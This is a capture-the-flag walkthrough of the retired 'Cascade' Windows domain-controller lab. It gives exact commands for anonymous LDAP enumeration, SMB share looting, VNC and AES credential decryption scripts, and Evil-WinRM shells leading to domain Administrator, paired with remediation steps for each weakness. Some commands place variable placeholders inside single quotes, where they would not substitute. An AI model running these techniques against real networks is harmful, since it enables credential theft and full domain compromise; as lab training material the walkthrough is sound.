← all walkthroughs

Cascade

Windows· Medium
owned
2026-07-09
time to own
6m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I performed an anonymous LDAP null-bind against the cascade.local domain controller and discovered a non-standard Active Directory attribute, cascadeLegacyPwd, left behind on user r.thompson by an account-migration script, containing a base64-encoded legacy cleartext password. With those credentials I browsed an over-permissioned SMB file share and recovered a VNC viewer registry export that stored an obfuscated password for a second account, s.smith, whose WinRM access yielded the user flag.

Pivoting with s.smith, I downloaded an internal audit application from a second share, along with its SQLite credential database. Static string extraction from the application's crypto DLL revealed a hardcoded AES key and initialization vector compiled in plaintext; decrypting the stored ciphertext recovered the domain Administrator password and completed full domain takeover.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"
export PASSWORD6="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Fingerprinted the domain controller and its exposed services
A service-version scan of $TARGET confirmed the host as CASC-DC1, a Windows Server 2008 R2 SP1 domain controller for cascade.local. All core Active Directory services were reachable from the network: DNS (53), Kerberos (88), LDAP (389/636), SMB (139/445), and WinRM (5985). Critically, SMB accepted null-session authentication, and LDAP accepted anonymous binds, meaning I needed no credentials to begin querying the directory.
Nxc smb banner: Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True); LDAP 389/tcp confirmed Microsoft Windows Active Directory LDAP
Exact commands 3
Register the DC hostname and domain for local name resolution.
echo "$TARGET casc-dc1.cascade.local cascade.local" | sudo tee -a /etc/hosts
Targeted service-version scan of all Active Directory-relevant ports.
nmap -sV -sC -p 53,88,135,139,389,445,636,5985 $TARGET -oN casc-dc1-nmap.txt
Confirm OS, domain, SMB signing, and null-session access.
nxc smb $TARGET
2Credential DiscoveryAnonymous LDAP enumeration / unsecured credential in custom AD attribute (T1087.002)
Extracted a legacy cleartext password from an unauthenticated LDAP query
An anonymous LDAP bind against the domain controller enumerated all user objects and their attributes. The account Ryan Thompson (r.thompson) carried a non-standard attribute named cascadeLegacyPwd populated with the base64 string [REDACTED: recovered credential] This attribute was left behind by a prior account-migration script and never cleaned up. Decoding the value in a single command yielded the plaintext password [REDACTED: recovered credential] The credential authenticated over both SMB and LDAP, giving a valid domain foothold with no brute force or exploitation required.
Ldapsearch anonymous returned cascadeLegacyPwd: [REDACTED: recovered credential] on CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local; base64 decode output: [REDACTED: recovered credential]; nxc smb returned [+] cascade.local\r.thompson:[REDACTED: recovered credential]
Exact commands 3
Anonymous bind; dump all user objects and filter for the legacy password attribute.
ldapsearch -x -H ldap://$TARGET -b 'DC=cascade,DC=local' '(objectClass=user)' dn sAMAccountName cascadeLegacyPwd 2>/dev/null | grep -B2 'cascadeLegacyPwd'
Decode the base64 value to recover the plaintext: [REDACTED: recovered credential]
printf '%s' '$PASSWORD3' | base64 -d && echo
Validate the recovered credential and enumerate accessible SMB shares.
nxc smb $TARGET -d cascade.local -u r.thompson -p '$PASSWORD2' --shares
FixDisable anonymous LDAP bind and purge the cascadeLegacyPwd attributeCritical
WeaknessThe domain controller accepted anonymous LDAP binds, and at least one user account (r.thompson) carried a non-standard attribute, cascadeLegacyPwd, that stored a base64-encoded legacy cleartext password. Any unauthenticated host on the network could query this value without supplying any credentials at all.
Fix1. Disable anonymous LDAP bind on all domain controllers: set the seventh character of the dsHeuristics attribute on the Directory Service object to 0, and confirm 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' is Enabled in Group Policy. 2. Audit the entire directory for non-standard attributes carrying credential material: run Get-ADUser -Filter * -Properties * | Select-Object SamAccountName,cascadeLegacyPwd | Where-Object {$_.cascadeLegacyPwd}, then clear each populated value with Set-ADUser -Clear cascadeLegacyPwd. 3. Review AD schema for any other custom attributes introduced by migration tooling and document or remove them. 4. Reset r.thompson's password immediately in case it was reused elsewhere.
3Lateral Credential AccessCredential recovery from registry export stored in shared storage (T1552.002)
Harvested a second account's VNC password from a world-readable file share
Authenticated as r.thompson, I browsed the non-default SMB share Data and recursively downloaded its contents. Under the path IT\Temp\s.smith\ sat a file named VNC Install.reg, a Windows registry export from a VNC viewer installation. VNC stores viewer passwords as DES-encrypted binary values under the Password registry key. Extracting and decrypting this value with the fixed VNC DES key yielded the plaintext password [REDACTED: recovered credential], belonging to domain account s.smith.
Smbclient recursive mget on \\CASC-DC1\Data retrieved IT/Temp/s.smith/VNC Install.reg; grep on file found Password= key; decoded value confirmed as [REDACTED: recovered credential]
Exact commands 4
Download the entire Data share into a local working directory.
mkdir -p /tmp/cascade_Data && smbclient //$TARGET/Data -U 'cascade.local/r.thompson%$PASSWORD2' -c 'recurse ON; prompt OFF; mget *'
List all downloaded files to locate credential-bearing paths.
find /tmp/cascade_Data -type f -maxdepth 8 -printf '%P\n'
Extract the obfuscated VNC password value (REG_BINARY hex bytes) from the registry export.
grep -i -n 'Password' '/tmp/cascade_Data/IT/Temp/s.smith/VNC Install.reg'
Standard VNC DES decryption with the fixed viewer key; substitute the hex bytes from the Password= line.
python3 -c "
import binascii
from Crypto.Cipher import DES
key = bytes([0xe8,0x4a,0xd6,0x60,0xc4,0x72,0x1a,0xe0])
ct = binascii.unhexlify('<hex_password_bytes_from_reg>')
print(DES.new(key, DES.MODE_ECB).decrypt(ct).rstrip(b'\x00').decode())
"
FixRestrict the Data SMB share and remove credential files from shared storageHigh
WeaknessThe Data share was readable by any authenticated domain user and contained a VNC viewer registry export (VNC Install.reg) in a subdirectory named after an administrator account. VNC stores viewer passwords as DES-encrypted binary values using a fixed published key, making them trivially reversible by anyone who can read the file.
Fix1. Audit every non-default SMB share with Get-SmbShareAccess and remove access for accounts and groups that do not require it for their job. Apply the principle of least privilege: general staff should not be able to read IT working directories. 2. Immediately delete VNC registry exports, PuTTY session files, install logs, and any other files containing passwords or credential blobs from all shared directories. 3. Establish a written policy that administrative credential material must never be stored in shared file locations. 4. Run a periodic share-content scan for credential patterns using a tool such as Snaffler or a DLP solution. 5. Rotate the s.smith password immediately.
4FootholdRemote interactive access via valid domain credentials over WinRM (T1021.006)
Authenticated over WinRM as s.smith and captured the user flag
The VNC-derived credential [REDACTED: recovered credential] was valid for the domain account s.smith over WinRM on port 5985. NetExec confirmed interactive code-execution access (Pwn3d!). An Evil-WinRM shell gave a full interactive session and direct access to the user flag on s.smith's Desktop.
Nxc winrm $TARGET -u s.smith -p [REDACTED: recovered credential] returned Pwn3d!; user.txt read from C:\Users\s.smith\Desktop
Exact commands 3
Confirm WinRM access; Pwn3d! Indicates command execution.
nxc winrm $TARGET -d cascade.local -u s.smith -p '$PASSWORD4'
Open a full interactive WinRM shell as s.smith.
evil-winrm -i $TARGET -u s.smith -p '$PASSWORD4'
Read the user flag from within the shell; value is <user.txt>.
type C:\Users\s.smith\Desktop\user.txt
5Internal ReconnaissanceSMB share enumeration and credential database recovery (T1213)
Retrieved the internal audit application and its credential database from the Audit$ share
With s.smith's credentials the non-default Audit$ share was readable. It contained a custom .NET auditing tool (CascAudit.exe), its encryption library (CascCrypto.dll), and a SQLite database at DB\Audit.db. Querying the Ldap table inside Audit.db returned a row storing a service-account username alongside a base64-encoded AES-encrypted password ciphertext and the domain cascade.local, representing the stored credentials the auditing application used to query Active Directory.
Smbclient on Audit$ returned CascAudit.exe, CascCrypto.dll, DB/Audit.db; sqlite3 SELECT * FROM Ldap returned username and ciphertext [REDACTED: recovered credential]
Exact commands 3
Download the entire Audit$ share.
mkdir -p /tmp/cascade_Audit && smbclient //$TARGET/Audit$ -U 'cascade.local/s.smith%$PASSWORD4' -c 'recurse ON; prompt OFF; mget *'
List tables; confirm the Ldap table exists.
sqlite3 /tmp/cascade_Audit/DB/Audit.db '.tables'
Read stored LDAP credentials; returns username, AES ciphertext, and domain.
sqlite3 /tmp/cascade_Audit/DB/Audit.db 'SELECT * FROM Ldap;'
FixRemove the Audit$ credential database from a shared location and restrict share accessHigh
WeaknessThe Audit$ share was accessible to accounts beyond the audit application itself and exposed the application's SQLite database, which contained encrypted service-account credentials. Placing encrypted credential stores on a file share accessible to multiple users hands unauthorised users the ciphertext they need to attempt offline decryption.
Fix1. Restrict the Audit$ share to the specific service account the audit application runs under and its direct administrators only. Remove access for all other accounts. 2. Move the application's credential database off the file share and onto local storage on the host where the application runs, protected by filesystem ACLs. 3. Prefer storing application credentials in Windows Credential Manager, a managed secrets vault (HashiCorp Vault, CyberArk), or Microsoft Entra Managed Identities where the application can authenticate without a stored password at all. 4. Rotate the service account credential stored in Audit.db immediately.
6Credential DecryptionHardcoded cryptographic key extraction via static binary analysis (T1552.004 / CWE-321)
Extracted hardcoded AES key and IV from the DLL and decrypted the stored Administrator password
Static string extraction from CascCrypto.dll revealed two 16-character constants visible as plaintext in the compiled binary: [REDACTED: recovered credential] as the AES key and [REDACTED: recovered credential] as the initialization vector. These were hardcoded inside the custom encryption routine the application used to protect stored credentials. Applying AES-CBC decryption to the ciphertext recovered from Audit.db with these static values produced the plaintext password [REDACTED: recovered credential] This credential authenticated as the domain Administrator account over WinRM, confirming the audit database stored the most privileged credential in the environment.
Strings -n 4 CascCrypto.dll contained [REDACTED: recovered credential] and [REDACTED: recovered credential]; Python AES-CBC decryption of [REDACTED: recovered credential] with those values output [REDACTED: recovered credential]
Exact commands 2
Extract exactly 16-character strings; the AES key and IV appear as plaintext literals.
strings -n 4 /tmp/cascade_Audit/CascCrypto.dll | grep -E '^.{16}$'
Decrypt the Audit.db ciphertext using the hardcoded key and IV; output: [REDACTED: recovered credential]
python3 - <<'PY'
from base64 import b64decode
from Crypto.Cipher import AES
ct  = b64decode('$PASSWORD6')
key = b"$PASSWORD"
iv  = b'$PASSWORD7'
print(AES.new(key, AES.MODE_CBC, iv).decrypt(ct).rstrip(b'\x00').decode())
PY
FixReplace the hardcoded AES key and IV in CascCrypto.dll with runtime key retrieval from a secrets storeCritical
WeaknessCascCrypto.dll contained the AES encryption key ([REDACTED: recovered credential]) and initialization vector ([REDACTED: recovered credential]) as plaintext constants compiled into the binary. Any user who can obtain the DLL can recover both values with the strings command in seconds, instantly defeating the encryption protecting every credential the application stores.
Fix1. Never embed cryptographic key material in application binaries or source code. Remove the hardcoded constants from CascCrypto.dll immediately. 2. Retrieve encryption keys at runtime from a secure key management service: Windows DPAPI (CryptProtectData/CryptUnprotectData) is available natively on Windows and scopes protection to the service account identity without requiring an external vault. Azure Key Vault or a hardware HSM are appropriate for higher-assurance requirements. 3. Rotate the Administrator password and every other credential the application ever encrypted with the old key. 4. Conduct a code review of all in-house encryption routines. Replace home-grown implementations with the .NET System.Security.Cryptography namespace using keys sourced from the secrets store, and have the review cover all other applications the team has authored.
7Full CompromiseDomain Administrator remote execution via WinRM (T1078.002)
Authenticated as domain Administrator over WinRM and captured the root flag
The decrypted password [REDACTED: recovered credential] authenticated directly as the built-in Administrator account over WinRM, confirming that the audit application had stored the highest-privilege credential in the domain inside its SQLite database. With domain Administrator access I had unrestricted control over every system in cascade.local. The root flag was retrieved from the Administrator's Desktop.
Nxc winrm $TARGET -u Administrator -p [REDACTED: recovered credential] returned Pwn3d!; root.txt read from C:\Users\Administrator\Desktop
Exact commands 3
Confirm Administrator WinRM access; Pwn3d! Output confirms full control.
nxc winrm $TARGET -d cascade.local -u Administrator -p '$PASSWORD5'
Open an interactive Administrator shell.
evil-winrm -i $TARGET -u Administrator -p '$PASSWORD5'
Read the root flag; value is <root.txt>.
type C:\Users\Administrator\Desktop\root.txt

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
636/tcp
5985/tcp
49154/tcp
49155/tcp
49157/tcp
49158/tcp
49165/tcp